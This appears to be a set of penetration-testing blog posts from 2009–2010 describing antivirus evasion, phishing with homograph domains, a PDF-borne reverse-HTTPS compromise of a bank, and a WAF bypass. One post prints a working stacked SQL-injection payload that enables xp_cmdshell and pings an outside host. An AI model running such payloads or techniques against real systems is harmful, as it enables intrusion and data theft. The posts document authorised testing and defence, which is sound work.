The threat is primarily theoretical at this point for a number of reasons. First, there isn't the same financial incentive to hacking cars as there is to hacking online bank accounts. Secondly, there isn't one dominant platform used in cars that can give attackers the same bang for their buck to target as there is on personal computers.

"The risks are certainly increasing because there are more and more computers in the car, but it will be much tougher to (attack) than with the PC," said Egil Juliussen, a principal analyst at market researcher firm iSuppli. "There is no equivalent to Windows in the car, at least not yet, so (a hacker) will be dealing with a lot of different systems and have to have some knowledge about each one. It doesn't mean a determined hacker couldn't do it."

But Juliussen said drivers don't need to worry about anything right now. "This is not a problem this year or next year," he said. "Its five years down the road, but the way to solve it is to build security into the systems now."

Infotainment systems
In the meantime, the innovations in mobile communications and entertainment aren't limited to smartphones and iPads. People want to use their devices easily in their cars and take advantage of technology that will let them make calls and listen to music without having to push any buttons or touch any track wheels. Hands-free telephony laws in states are requiring this.

Millions of drivers are using the SYNC system that has shipped in more than 2 million Ford cars that allows people to connect digital media players and Bluetooth-enabled mobile phones to their car entertainment system and use voice commands to operate them. The system uses Microsoft Auto as the operating system. Other cars offer less-sophisticated mobile device connectivity.

"A lot of cars have Bluetooth car kits built into them so you can bring the cell phone into your car and use your phone through microphones and speakers built into the car," said Kevin Finisterre, lead researcher at Netragard. "But vendors often leave default passwords."

Ford uses a variety of security measures in SYNC, including only allowing Ford-approved software to be installed at the factory and default security set to Wi-Fi Protected Access 2 (WPA2), which requires users to enter a randomly chosen password to connect to the Internet. To protect customers when the car is on the road and the Mobile Wi-Fi Hot Spot feature is enabled, Ford also uses two firewalls on SYNC, a network firewall similar to a home Wi-Fi router and a separate central processing unit that prevents unauthorized messages from bei ng sent to other modules within the car.

"We use the security models that normal IT folks use to protect an enterprise network," said Jim Buczkowski, global director of electrical and electronics systems engineering for Ford SYNC.

Not surprisingly, there is a competing vehicle "infotainment" platform being developed that is based on open-source technology. About 80 companies have formed the Genivi Alliance to create open standards and middleware for information and entertainment solutions in cars.

Asked if Genivi is incorporating security into its platform from the get-go, Sebastian Zimmermann, chair of the consortium's product definition and planning group, said it is up to the manufacturers that are creating the branded devices and custom apps to build security in and to take advantage of security mechanisms provided in Linux, the open-source operating system the platform is based on.

"Automakers are aware of security and have taken it seriously...It's increasingly important as the vehicle opens up new interfaces to the outside world," Zimmermann said. "They are trying to find a balance between openness and security."

Another can of security worms being opened is the fact that cars may follow the example of smart phones and Web services by getting their own customized third-party apps. Hughes Telematics reportedly is working with automakers on app stores for drivers.

This is already happening to some extent, for instance, with video cameras becoming standard in police cars and school buses, bringing up a host of security and privacy issues.

"We did a penetration test where we had a police agency that has some in-car cameras," Finisterre of Netragard said, "and we were able to access the cameras remotely and have live audio and video streams from the police car due to vulnerabilities in the manufacturing systems."

"I'm sure (eventually) there is going to be smart pavement and smart lighting and other dumb stuff that has the capability of interacting with the car in the future," he said. "Technology is getting pushed out the door with bells and whistles and security gets left behind."

Bypassing Antivirus to Hack You

2010-08-06T15:52:00.000-07:00

Many people assume that running antivirus software will protect them from malware (viruses, worms, trojans, etc), but in reality the software is only partially effective. This is true because antivirus software can only detect malware that it knows to look for. Anything that doesn’t match a known malware pattern will pass as a clean and trusted file.

Antivirus technologies use virus definition files to define known malware patterns. Those patterns are derived from real world malware variants that are captured in the wild. It is relatively easy to bypass most antivirus technologies by creating new malware or modifying existing malware so that it does not contain any identifiable patterns.

One of the modules that our customers can activate when purchasing Penetration Testing services from us, is the Pseudo Malware module. As far as we know, we are one of the few Penetration Testing companies to actually use Pseudo Malware during testing. This module enables our customers to test how effective their defenses are against real world malware threats but in a safe and controllable way.

Our choice of Pseudo Malware depends on the target that we intend to penetrate and the number of systems that we intend to compromise. Sometimes we’ll use Pseudo Malware that doesn’t automatically propagate and other times we’ll use auto-propagation. We should mention that this Pseudo Malware is only “Pseudo” because we don’t do anything harmful with it and we use it ethically. The fact of the matter is that this Pseudo Malware is very real and very capable technology.

Once we’ve determined what Pseudo Malware variant to go with, we need to augment the Pseudo Malware so that it is not detectable by antivirus scanners. We do this by encrypting the Pseudo Malware binary with a special binary encryption tool. This tool ensures that the binary no longer contains patters that are detectable by antivirus technologies.

Before Encryption:

After Encryption: (Still Infected)

As you can see from the scan results above, the Pseudo Malware was detected by most antivirus scanners before it was encrypted. We expected this because we chose a variant of Pseudo Malware that contained several known detectable patterns. The second image (after encryption) shows the same Pseudo Malware being scanned after encryption. As you can see, the Pseudo Malware passed all antivirus scanners as clean.

Now that we've prevented antivirus software from being able to detect our Pseudo Malware, we need to distribute it to our victims. Distribution can happen many ways that include but are not limited to infected USB drives, infected CD-ROM's, Phishing emails augmented by IDN homograph attacks with the Pseudo Malware attached, Facebook, LinkedIn, MySpace, binding to PDF like files, etc.

Our preferred method for infection is email (or maybe not). This is because it is usually very easy to gather email addresses using various existing email harvesting technologies and we can hit a large number of people at the same time. When using email, we may embed a link that points directly to our Pseudo Malware, or we might just insert the malware directly into the email. Infection simply requires that the user click our link or run the attached executable. In either case, the Pseudo Malware is fast and quiet and the user doesn't notice anything strange.

Once a computer is infected with our Pseudo Malware it connects back to our Command and Control server and grants us access to the system unbeknownst to the user. Once we have access we can do anything that the user can do including but not limited to seeing the users screen as if we were right there, running programs, installing software, uninstalling software, activating web cam's and microphones, accessing and manipulating hardware, etc. More importantly, we can use that computer to compromise the rest of the network through a process called Distributed Metastasis.

Despite how easy it is to bypass antivirus technologies, we still very strongly recommend using them as they keep you protected from known malware variants.

Security Vulnerability Penetration Assessment Test?

2010-06-14T04:14:00.001-07:00

Our philosophy here at Netragard is that security-testing services must produce a threat that is at least equal to the threat that our customers are likely to face in the real world. If we test our customers at a lesser threat level and a higher-level threat attempts to align with their risks, then they will likely suffer a compromise. If they do suffer a compromise, then the money that they spent on testing services might as well be added to the cost in damages that result from the breach.
This is akin to how armor is tested. Armor is designed to protect something from a specific threat. In order to be effective, the armor is exposed to a level of threat that is slightly higher than what it will likely face in the real world. If the armor is penetrated during testing, it is enhanced and hardened until the threat cannot defeat the armor. If armor is penetrated in battle then there are casualties. That class of testing is called Penetration Testing and the level of threat produced has a very significant impact on test quality and results.

What is particularly scary is that many of the security vendors who offer Penetration Testing services either don't know what Penetration Testing is or don’t know the definitions for the terms. Many security vendors confuse Penetration Testing with Vulnerability Assessments and that confusion translates to the customer. The terms are not interchangeable and they do not define methodology, they only define testing class. So before we can explain service quality and threat, we must first properly define services.

Based on the English dictionary the word “Vulnerability” is best defined as susceptibility to harm or attack. Being vulnerable is the state of being exposed. The word “Assessment” is best defined as the means by which the value of something is estimated or determined usually through the process of testing. As such, a “Vulnerability Assessment” is a best estimate as to how susceptible something is to harm or attack.

Lets do the same for “Penetration Test”. The word “Penetration” is best defined as the act of entering into or through something, or the ability to make way into or through something. The word “Test” is best defined as the means by which the presence, quality or genuineness of anything is determined. As such the term “Penetration Test” means to determine the presence of points where something can make its way through or into something else.

Despite what many people think, neither term is specific to Information Technology. Penetration Tests and Vulnerability Assessments existed well before the advent of the microchip. In fact, the ancient Romans used a form of penetration testing to test their armor against various types of projectiles. Today, we perform Structural Vulnerability Assessments against things like the Eiffel Tower, and the Golden Gate Bridge. Vulnerability Assessments are chosen because Structural Penetration Tests would cause damage to, or possibly destroy the structure.

In the physical world Penetration Testing is almost always destructive (at least to a degree), but in the digital world it isn’t destructive when done properly. This is mostly because in the digital world we’re penetrating a virtual boundary and in the physical world we’re penetrating a physical boundary. When you penetrate a virtual boundary you’re not really creating a hole, you’re usually creating a process in memory that can be killed or otherwise removed.

When applied to IT Security, a Vulnerability Assessment isn't as accurate as a Penetration Test. This is because Vulnerability Assessments are best estimates and Penetration Tests either penetrate or they don’t. As such, a quality Vulnerability Assessment report will contain few false positives (false findings) while a quality Penetration Testing report should contain absolutely no false positives. (though they do sometimes contain theoretical findings).

The quality of service is determined by the talent of the team delivering services and by the methodology used for service delivery. A team of research capable ethical hackers that have a background in exploit development and system / network penetration will usually deliver higher quality services than a team of people who are not research capable. If a team claims to be research capable, ask them for example exploit code that they’ve written and ask them for advisories that they’ve published.

Service quality is also directly tied to threat capability. The threat in this case is defined by the capability of real world malicious hackers. If testing services do not produce a threat level that is at least equal to the real world threat, then the services are probably not worth buying. After all, the purpose for security testing is to identify risks so that they can be fixed / patched / eliminated before malicious hackers exploit them. But if the security testing services are less capable than the malicious hacker, then chances are the hacker will find something that the service missed.

We Are Politically Incorrect

2010-06-11T11:29:00.000-07:00

Back in February of 2009 we released an article called FaceBook from the hackers perspective. As far as we know, we were the first to publish a detailed article about using Social Networking Websites to deliver surgical Social Engineering attacks. Since that time, we noticed a significant increase in marketing hype around Social Engineering from various other security companies. The problem is that they're not telling you the whole truth.

The whole truth is that Social Engineering is a necessary but potentially dangerous service. Social Engineering at its roots is the act of exploiting the human vulnerability and as such is an offensive and politically incorrect service. If a customer’s business has any pre-existing social or political issues then Social Engineering can be like putting a match to a powder keg. In some cases the damages can be serious and can result in legal action between employee and employer, or visa versa.

It’s for this reason that businesses need to make sure that their environments are conducive to receiving social attacks, and that they are prepared to deal with the emotional consequences that might follow. If employees are trained properly and if security policies are enforced that cover the social vector, then things “should” be ok. If those policies don’t exist and if there’s any internal turmoil, high-risk employees, or potentially delicate political situations, then Social Engineering is probably not such a great idea as it will likely identify and exploit one of those pre-existing issues.

For example, we recently delivered services to a customer that had pre-existing issues but assumed that their environment was safe for testing with Social Engineering. In this particular case the customer had an employee that we’ll call Jane Doe who was running her own business on the side. Jane Doe was advertising her real employers name on her business website making it appear as if there was a relationship between her employer and her business. She was also advertising her business address as her employers address on her FaceBook fan page. From our perspective, Jane Doe was a perfect Social Engineering target.

With this social risk identified, we decided that we’d impersonate Jane Doe and hijack the existing relationships that she had with our customer (her employer). We accomplished this with a specially crafted phishing attack.

The first step in the phish was to collect content for the phishing email. In this case Jane Doe posted images to her FaceBook fan page that included a photo of herself and a copy of her businesses logo. We used those images to create an email that looked like it originated from Jane Doe’s email address at our customers network and was offering the recipient discounted pricing. (Her FaceBook privacy settings were set to allow everybody.)

Once we had the content for the phishing email set up we used an IDN homograph attack to register a new domain that appeared to be identical to our customers domain. For example, if our customer was SNOsoft and their real domain was snosoft.com, the fake domain looked just like “snosoft.com”.

We embedded a link into the phishing email using the fake domain to give it a legitimate look and feel. The link was advertised as the place to click to get information about specially discounted offerings that were specific to our customer’s employees. Of course, the link really pointed to our web server where we were hosting a browser based exploit.

Then we collected email addresses using an enumerator and loaded those into a distribution list. We sent a test email to ourselves first to make sure that everything would render ok. Once our testing was complete, we clicked send and the phish was on its way. Within 15 minutes of delivering the attack our customer called us and requested that all testing be stopped. But by that time, 38 people had already clicked on our embedded URL, and more clicks were on their way.

As it turns out, our customer wasn’t prepared to receive Social Engineering tests despite the fact that they requested them. At first they accused us of being unprofessional because we used Jane Doe’s picture in the phishing email, which was apparently embarrassing to Jane Doe. Then they accused us of being politically incorrect for the same reason.

So we asked our customer, “Do you think that a black-hat would refrain from doing this because it’s politically incorrect?” Then we said, “Imagine if a black-hat launched this attack, and received 38 clicks (and counting).” (Each click representing a potential compromise).

While we can’t go into much more detail for reasons of confidentiality, the phishing attack uncovered other more serious internal and political issues. Because of those issues, we had to discontinue testing and move to report delivery. There was no fault or error on our part as everything was requested and authorized by the customer, but this was certainly a case of the match and the powder keg.

Despite the unfortunate circumstances, the customer did benefit significantly from the services. Specifically, the customer became aware of some very serious social risks that would have been extremely damaging had they been identified and exploited by black-hat hackers. Even if it was a painful process for the customer, we’re happy that we were able to deliver the services as we did because they enabled our customer to reduce their overall risk and exposure profile.

The moral of the story is that businesses should take care and caution when requesting Social Engineering services. They should be prepared for uncomfortable situations and discoveries, and if possible they should train and prepare their employees in advance. In the end it boils down to one of two things. Is it more important for a company to understand their risks or is it more important to avoid embarrassing or offending an employee.

REVERSE(noitcejnI LQS dnilB) Bank Hacking

2010-05-16T21:55:00.000-07:00

Earlier this year we were hired to perform an Overt Web Application Penetration Test for one of our banking customers (did you click that?). This customer is a reoccurring customer and so we know that they have Web Application Firewalls and Network Intrusion Prevention Systems in play. We also know that they are very security savvy and that they respond to attacks promptly and appropriately.

Because this test was Overt in nature (non-stealth) we began testing by configuring Acunetix to use burpsuite-pro as a proxy. Then we ran an automated Web Application Vulnerability Scan with Acunetix and watched the scan populate burpsuite-pro with information. While the scan results were mostly fruitless we were able to pick up with manual testing and burpsuite-pro.

While the automated scans didn’t find anything our manual testing identified an interesting Blind SQL Injection Vulnerability. This blind SQL Injection vulnerability was the only vulnerability that we discovered that had any real potential.

It’s important understand to the difference between standard SQL Injection Vulnerabilities and Blind SQL Injection Vulnerabilities. A standard SQL Injection Vulnerability will return useful error information to the attacker and usually display that information in the attackers web browser. That information helps the attacker debug and refine the attack. Blind SQL Injection Vulnerabilities return nothing, making them much more difficult to exploit.

Since the target Web Application was protected by two different Intrusion Prevention Technologies, and since the vulnerability was a Blind SQL Injection Vulnerability, we knew that exploitation wasn’t going to be easy. To be successful we’d first need to defeat the Network Intrusion Prevention System and then the Web Application Firewall.

Defeating Network Intrusion Prevention Systems is usually fairly easy. The key is to find an attack vector that the Network Intrusion Prevention System can’t monitor. In this case (like most cases) our Web Application’s server accepted connections over SSL (via HTTPS). Because SSL based traffic is encrypted the Network Intrusion Prevention System can’t intercept and analyze the traffic.

Defeating Web Application Firewalls is a bit more challenging. In this case, the Web Application Firewall was the termination point for the SSL traffic and so it didn’t suffer from the same SSL blindness issues that the Network Intrusion Prevention System did. In fact, the Web Application Firewall was detecting and blocking our embedded SQL commands very successfully.

We tried some of the known techniques for bypassing Web Application Firewalls but to no avail. The vendor that makes this particular Web Application Firewall does an excellent job at staying current with the latest methods for bypassing Web Application Firewall technologies.

Then we decided that we’d try attacking backwards. Most SQL databases support a reverse function. That function does just what you’d think that it would do; it returns the reverse of whatever string you feed it. So we wrote our commands backwards and encapsulated then in the reverse() function provided by the SQL server. When we fed our new reversed payloads to the Web Application the Web Application Firewall failed to block the commands.

As it turns out most (maybe all) Web Application Firewalls can be bypassed if you reverse the spelling of your SQL commands. So you’d rewrite “xp_cmdshell” as “llehsdmc_px” and then encapsulate it in the reverse function. As far as we know we’re the first to discover and use this method to successfully bypass a Web Application Firewall.

The next step in the attack was to reconfigure and enable the xp_cmdshell function. The xp_cmdshell is important as it executes a given command string as an operating-system command shell and returns any output rows of text. Simply put, it’s just like sitting at the DOS prompt.

The technique used to reconfigure the xp_cmdshell functionality is well known and well documented. But, since we did it using backwards commands we thought that we would show you what it looked like.

var=1';DECLARE @a varchar(200) DECLARE @b varchar(200) DECLARE @c varchar(200) SET @a = REVERSE ('1 ,"snoitpo decnavda wohs" erugifnoc_ps.obd.retsam') EXEC (@a) RECONFIGURE SET @b = REVERSE ('1,"llehsdmc_px" erugifnoc_ps.obd.retsam') EXEC (@a) RECONFIGURE SET @c =REVERSE('"moc.dragarten gnip" llehsdmc_px') EXEC (@c);--

The above SQL commands do the following three things:

1-) C:\> show advanced options, 1 \n

Use the “show advanced options” option to display the sp_configure system stored procedure advanced options. When you set show advanced options to 1, you can list the advanced options by using sp_configure. The default is 0. The setting takes effect immediately without a server restart.

2-) C:\> master.dbo.sp_configure xp_cmdshell, 1

This enables the xp_cmdshell functionality in the MsSQL database so that we can execute operating-system commands by calling xp_cmdshell. xp_cmdshell is disabled by default.

3-) C:\> ping netragard.com

Because we were dealing with a Blind SQL Injection Vulnerability we needed a creative way to test that we’d successfully re-enabled the xp_cmdshell function. To do that we set up a sniffer on our outside firewall interface and configured it to alert us when we received pings from our banking customer’s network. Then in the SQL payload (shown above) we included the command “ping netragard.com”. Then when we received ICMP packets from our customers network we knew that our command had been executed successfully.

Now that we had confirmed that our Blind Reversed SQL Injection attack was viable and that we had successfully enabled the xp_cmdshell functionality, the last thing for us to do was to extract database information. But how do we extract database information using a Blind SQL Injection Vulnerability if the vulnerability never returns any information?

That's actually pretty easy. Most databases support conditional statements (if condition then do something). So, we used conditional statements combined with timing to extract database information. Specifically, if table name equals "users" then wait for 3 seconds, if it doesn't then return control immediately. Then if the database doesn't respond for 3 seconds we know that we've guessed the name of one of the tables correctly.

Sure there are other things that we could have done, but we're the good guys.

Netragard Hacking Your Bank

2010-04-26T16:54:00.000-07:00

We were recently hired to perform an interesting Advanced Stealth Penetration test for a mid-sized bank. The goal of the penetration test was to penetrate into the bank’s IT Infrastructure and see how far we could get without detection. This is a bit different than most penetration tests as we weren’t tasked with identifying risks as much as we were with demonstrating vulnerability.

The first step of any penetration test is reconnaissance. Reconnaissance is the military term for the passive collection of intelligence about an enemy prior to attacking that enemy. It is technically impossible to effectively attack an enemy without first obtaining actionable intelligence about the enemy. Failure to collect good intelligence can result in significant casualties, unnecessary collateral damage and a completely failed attack. In penetration testing, damages are realized by downed systems and a loss of revenue.

Because this engagement required stealth, we focused on the social attack vectors and Social Reconnaissance. We first targeted FaceBook with our “FaceBook from the hackers perspective“ methodology. That enabled us to map relationships between employees, vendors, friends, family etc. It also enabled us to identify key people in Accounts Receivable / Accounts Payable (“AR/AP”).

In addition to FaceBook, we focused on websites like Monster, Dice, Hot Jobs, LinkedIn, etc. We identified a few interesting IT related job openings that disclosed interesting and useful technical information about the bank. That information included but was not limited to what Intrusion Detection technologies had been deployed, what their primary Operating Systems were for Desktops and Servers, and that they were a Cisco shop.

Naturally, we thought that it was also a good idea to apply for the job to see what else we could learn. To do that, we created a fake resume that was designed to be the “perfect fit” for a “Sr. IT Security Position” (one of the opportunities available). Within one day of submission of our fake resume, we had a telephone screening call scheduled.

We started the screening call with the standard meet and greet, and an explanation of why we were interested in the opportunity. Once we felt that the conversation was flowing smoothly, we began to dig in a bit and start asking various technology questions. In doing so, we learned what Anti-Virus technologies were in use and we also learned what the policies were for controlling outbound network traffic.

That’s all that we needed…

Upon completion of our screening call, we had sufficient information to attempt stealth penetration with a high probability of success. The beauty is that we collected all of this information without sending a single packet to our customer’s network. In summary we learned:

That the bank uses Windows XP for most Desktops
Who some of the bank’s vendors were (IT Services)
The names and email addresses of people in AR/AP
What Anti-Virus technology the bank uses
Information about the banks traffic control policies

Based on the intelligence that we collected we decided that the ideal scenario for stealth penetration would be to embed an exploit into a PDF document and to send that PDF document to the bank’s AR/AP department from the banks trusted IT Services provider. This attack was designed to exploit the trust that our customer had with their existing IT Services provider.

When we created the PDF, we used the new reverse https payload that was recently released by the Metasploit Project. (Previously we were using similar but more complex techniques for encapsulating our reverse connections in HTTPS). We like reverse HTTPS connections for two reasons:

First, Intrusion Detection Technologies cannot monitor encrypted network traffic. Using an encrypted reverse connection ensures that we are protected from the prying eyes of Intrusion Detection Systems and less likely to trip alarms.
Second, most companies allow outbound HTTPS (port 443) because its required to view many websites. The reverse HTTPS payload that we used mimics normal web browsing behavior and so is much less likely to set off any Intrusion Detection events.

Before we sent the PDF to the our customer we checked it against the same Antivirus Technology that they were using to ensure that it was not detected as malware or a virus. To evade the scanners we had to “pack” our pseudo-malware in such a way that it would not be detected by the scanners. Once that was done and tested, we were ready to launch our attack.

When we sent the PDF to our customer, it didn’t take long for the victim in AP/AR to open it, after all it appeared to be a trusted invoice. Once it was opened, the victim’s computer was compromised. That resulted in it establishing a reverse connection to our lab which we then tunneled into to take control of the victims computer (all via HTTPS).

Once we had control, our first order of operation was to maintain access. To do this we installed our own backdoor technology onto the victims computer. Our technology also used outbound HTTPS connections, but for authenticated command retrieval. So if our control connection to the victims computer was lost, we could just tell our backdoor to re-establish the connection.

The next order of operation was to deploy our suite of tools on the compromised system and to begin scoping out the internal network. We used selective ARP poisoning as a first method for performing internal reconnaissance. That proved to be very useful as we were able to quickly identify VNC connections and capture VNC authentication packets. As it turns out, the VNC connections that we captured were being made to the Active Directory (“AD”) server.

We were able to crack the VNC password by using a VNC Cracking Tool. Once that happened we were able to access, the AD server and extract the servers SAM file. We then successfully cracked all of the passwords in that file, including the historical user passwords. Once the passwords were cracked, we found that the same credentials were used across multiple systems. As such, we were not only able to access desktops and servers, but also able to access Cisco devices, etc.

In summary, we were able to penetrate into our customers IT Infrastructure and effectively take control of the entire infrastructure without being detected. We accomplished that by avoiding conventional methods for penetration and by using our own unorthodox yet obviously effective penetration methodologies.

This particular engagement was interesting as our customers goal was not to identify all points of risk, but instead was to identify how deeply we could penetrate. Since the engagement, we’ve worked with that customer to help them create barriers for isolation in the event of penetration. Since those barriers have been implemented, we haven’t been able to penetrate as deeply.

As usual, if you have any questions or comments, please leave them on our blog. If there’s anything you’d like us to write about, please email me the suggestion. If I’ve made a grammatical mistake in here… I’m a hacker not an English major.

Outbound Traffic Risk and Controlls

2010-04-06T13:25:00.000-07:00

Recently one of our customers asked me to provide them with information about the risks of unrestricted or lightly restricted outbound network traffic. As such, I decided to write this blog entry and share it with everyone. While some of the risks behind loose outbound network controls are obvious, others aren’t so obvious. I hope that this blog entry will help to shed some light on the not so obvious risks…

In all networks, there are two general types of network traffic, inbound and outbound. Inbound network traffic is the type of traffic that is generated when an Internet based user makes a network connection to a device that exists in your business infrastructure. Examples of such connections are browsing to your website, establishing a VPN connection, checking email, etc. Outbound network traffic is the type of traffic that is generated when a LAN based user (or a VPN connected user in some cases) makes a network connection to a device somewhere on the Internet.

Just about everyone is familiar with the risks that are associated with the inbound type. Those risks include things like Vulnerable Web Applications, unpatched services running on Internet facing production systems, etc. In fact, most people associate the idea of security with the inbound connection type more so than the outbound type. As a result, they end up leaving the most vulnerable part of their business open to attack.

The truth is that the size of the attack surface for the outbound connection type is considerably larger than that of the inbound connection type. The attack surface is best defined as the sum of all potential risk points for a particular group of targets. In the case of the outbound connection type, the potential risk points include every variant of software installed on every device capable of making outbound connections (and helper applications too). This includes technologies like Adobe Acrobat, Mozilla Firefox, Internet Explorer, Flash, QuickTime, Microsoft Office, Safari, FTP Programs, Security Scanners, Antivirus Technologies, Smartphones, etc.

One example of an attack would be something like this. An employee receives an email containing an interesting blog entry from Netragard, LLC. That email contains a link that points to a malicious payload designed to compromise the employees computer. When the link is clicked, a request is made to download the payload, which results in the employees computer being compromised. Upon compromise the employees computer establishes an outbound *HTTPS connection to the attacker, and the attacker tunnels back in over that connection to take control of the employees computer. In most cases, the employee has no idea that they’ve been compromised, nor does their employer.

*Because the connection is an HTTPS connection IDS/IPS technologies won’t flag it as suspicious nor is it possible to sniff the connection since its encrypted with SSL. (SNOsoft's Jayson Street)

The compromise doesn’t stop at the employees computer. The instant that the employees computer is compromised then the network that the computer is connected to is also compromised. At that point the attacker can use ARP Poisoning to perform Man in the Middle attacks (or other more direct attacks), or just to capture user credentials. Either way distributed metastasis is almost inevitable if the attacker has any semblance of skill. (Thank god Netragard didn’t really embed a malicious link in this blog entry right?).

The good news is that suffering a compromise doesn’t need to be costly or technically damaging. If the proper policies, procedures and controls are in place then a compromise can be relatively harmless from a cost in damages perspective. Outbound connection controls are an example of controls that everyone should have in place.

If outbound connections are restricted to specific protocols and can only be established by authenticated users then attacks like the one described above will be largely ineffective. The outbound controls might not always prevent the users computer from being compromised, but they will usually prevent the users computer from establishing a connection back to the attacker (which will ideally prevent the attacker from taking control of the computer). In such a case, the computer will need to be reinstalled but at least the rest of the network will still be intact.

Exploit Acquisition Program - More Details

2010-03-28T16:20:00.000-07:00

The recent news on Forbes about our Exploit Acquisition Program has generated a lot of interesting speculative controversy and curiosity. As a result, I've decided to take the time to follow up with this blog entry. Here I'll make a best effort to explain what the Exploit Acquisition Program is, why we decided to launch the program, and how the program works.

What it is:

The Exploit Acquisition Program ("EAP") officially started in May of 1999 and is currently being run by Netragard, LLC. EAP specifically designed to acquire "actionable research" in the form of working exploits from the security community. The Exploit Acquisition Program is different than other programs because participants receive significantly higher pay for their work and in most cases the exploits never become public knowledge.

The exploits that are acquired via the EAP are sold directly to specific US based clients that have a unique and justifiable need for such technologies. At no point does Netragard sell or otherwise export acquired exploits to any foreign entities. Nor do we disclose any information about our buyers or about participating researchers.

Why did we start the EAP?

Netragard launched the EAP to give security researchers the opportunity to receive fair value for their research product. Our bidding prices start at or around $15,000 per exploit. That price is affected by many different variables.

How does the EAP Work?

The EAP works as follows:

Researcher contacts Netragard.
Researcher and Netragard execute a Mutual Nondisclosure Agreement.
Researcher provides a verifiable form of identification to Netragard.
Researcher fills out an Exploit Acquisition Form ("EAF").
Netragard works with the buyer to determine exploit value based on the information provided in the EAF.
Researcher accepts or rejects the price. Note: If rejected, the process stops here.
Researcher submits the exploit code and vulnerability details to Netragard.
Netragard verifies that the exploit works as advertised.
If the exploit does not work as advertised then the researcher is given the opportunity to resolve the issue(s).
If the exploit does work as advertised then the purchase agreement is delivered to the researcher.
Researcher executes purchase agreement and transfers all rights and ownership of the exploit and any information related to the exploit to Netragard. At this point researcher loses all rights to the exploit and its respective information.
Netragard begins the payment process.
Payments are issued in three equal installments over the course of three months.

EAP Rules

Netragard requires exclusivity for all exploits purchased through the EAP.
Ownership of the exploit and its respective vulnerability information are transferred from researcher to Netragard at step 11 above. Prior to step 11 the exploit and its respective vulnerability information are the intellectual property of the researcher. If at any point before step 11 the researcher terminates the acquisition process then Netragard will destroy any and all information related to failed transaction. Termination of sale is not possible after step 11.
Netragard will not identify its buyers.
Netragard will not identify researchers.
All transactions between buyer, Netragard and developer are done legally and contractually. At no point will Netragard engage in illegal activity or with unknown, untrusted, and/or unverifiable sources or entities.

If you are interested in selling your exploit to us, please contact us at eap@netragard.com.

Professional Script Kiddies vs Real Talent

2010-03-04T17:03:00.000-08:00

The Good Guys in the security world are no different from the Bad Guys; most of them are nothing more than glorified Script Kidies. The fact of the matter is that if you took all of the self-proclaimed hackers in the world and you subjected them to a litmus test, very few would pass as acutal hackers.

This is true for both sides of the so called Black and White hat coin. In the Black Hat world, you have script-kids who download programs that are written by other people then use those programs to “hack” into networks. The White Hat’s do the exact same thing; only they buy the expensive tools instead of downloading them for free. Or maybe they’re actually paying for the pretty GUI, who knows?

What is pitiable is that in just about all cases these script kiddies have no idea what the programs actually do. Sometimes that’s because they don’t bother to look at the code, but most of the time its because they just can’t understand it. If you think about it that that is scary. Do you really want to work with a security company that launches attacks against your network with tools that they do not fully understand? I sure wouldn’t.

This is part of the reason why I feel that it is so important for any professional security services provider to maintain an active research team. I’m not talking about doing market research and pretending that its security research like so many security companies do. I’m talking about doing actual vulnerability research and exploit development to help educate people about risks for the purposes of defense. After all, if a security company can’t write an exploit then what business do they have launching exploits against your company?

I am very proud to say that Everything Channel recently released the 2010 CRN Security Researchers list and that Netragard’s Kevin Finisterre was on the list. Other people that were included in the list are people that I have the utmost respect for. As far as I am concerned, these are some of the best guys in the industry: (clearly this list is not all inclusive and in no way includes all of the people that deserve credit for their contributions and/or talent).

Dino Dai Zovi
Kevin Finisterre
Landon Fuller
Robert Graham
Jeremiah Grossman
Larry Highsmith
Billy Hoffman
Mikko Hypponen
Dan Kaminsky
Paul Kocher
Nate Lawson
David Litchfield
Charles Miller
Jeff Moss
Jose Nazario
Joanna Rutkowska

In the end I suppose it all boils down to what the customer wants. Some customers want to know their risks; others just want to put a check in the box. For those who want to know what their real risks are, you’ve come to the right place.

Hosted Solutions – A Hackers Haven

2009-10-12T16:10:00.000-07:00

Human beings are lazy by nature. If there is a choice to be made between a complicated technology solution and an easy technology solution, then nine times out of ten people will choose the easy solution. The problem is that the easy solutions are often riddled with hidden risks and those risks can end up costing the consumer more money in damages then what might be saved by using the easy solution.

The advantages of using a managed hosting provider to host your email, website, telephone systems, etc, are clear. When you outsource critical infrastructure components you save money. The savings are quickly realized because you no longer need to spend money running a full scale IT operation. In many cases, you don’t even need to worry about purchasing hardware, software, or even hiring IT staff to support the infrastructure.

What isn’t clear to most people is the serious risk that outsourcing can introduce to their business. In nearly all cases a business will have a radically lower risk and exposure profile if they keep everything in-house. This is true because of the substantial attack surface that hosting providers have when compared to in-house IT environments.

For example, a web-hosting provider might host 1,000 websites across 50 physical servers. If one of those websites contains a single vulnerability and that vulnerability is exploited by a hacker then the hacker will likely take control of the entire server. At that point the hacker will have successfully compromised and taken control of all 50 websites with a single attack.

In non-hosted environments there might be only one Internet facing website as opposed to the 1000 that exist in a hosted environment. As such the attack surface for this example would be 1000 times greater in a hosted environment than it is in a non-hosted environment. In a hosted environment the risks that other customers introduce to the infrastructure also become your risk. In a non-hosted environment you are only impacted by your own risks.

To make matters worse, many people assume that such a risk isn’t significant because they do not use their hosted systems for any critical transactions. They fail to consider the fact that the hacker can modify the contents of the compromised system. These modifications can involve redirecting online banking portal links, credit card form posting links, or even to spread infectious malware. While this is true for any compromised system, the chances of suffering a compromise in a hosted environment are much greater than in a non-hosted environment.

Social Engineering – It’s Nothing New

2009-09-22T11:28:00.000-07:00

With all the recent hype about Social Engineering we figured that we’d chime in and tell people what’s really going on. The fact is that Social Engineering is nothing more than a Confidence Trick being carried out by a Con Artist. The only difference between the term Social Engineering and Confidence Trick is that Social Engineering is predominately used with relation to technology.

So what is it really? Social Engineering is the act of exploiting a person’s natural tendency to trust another person or entity. Because the vulnerability exists within people, there is no truly effective method for remediation. That is not to say that you cannot protect your sensitive data, but it is to say that you cannot always prevent your people or even yourself from being successfully conned.

The core ingredients required to perform a successful confidence trick are no different today then they were before the advent of the Internet. The con artist must have the victim’s trust, and then trick the victim into performing an action or divulging information. The Internet certainly didn’t create the risk but it does make it easier for the threat to align with the risk.

Before the advent of the Internet the con artist (threat) needed to contact the victim (risk) via telephone, in person, via snail mail, etc. Once contact was made a good story needed to be put into place and the victim’s trust needed to be earned. That process could take months or even years and even then success isn’t guaranteed.

The advent of the Internet provided the threat with many more avenues’ through which it could successfully align with the risk. Specifically, the Internet enables the threat to align with hundreds or even thousands of risks simultaneously. That sort of shotgun approach couldn’t be done before and significantly increases an attackers chances of success. One of the most elementary examples of this shotgun approach is the email based phishing attack.

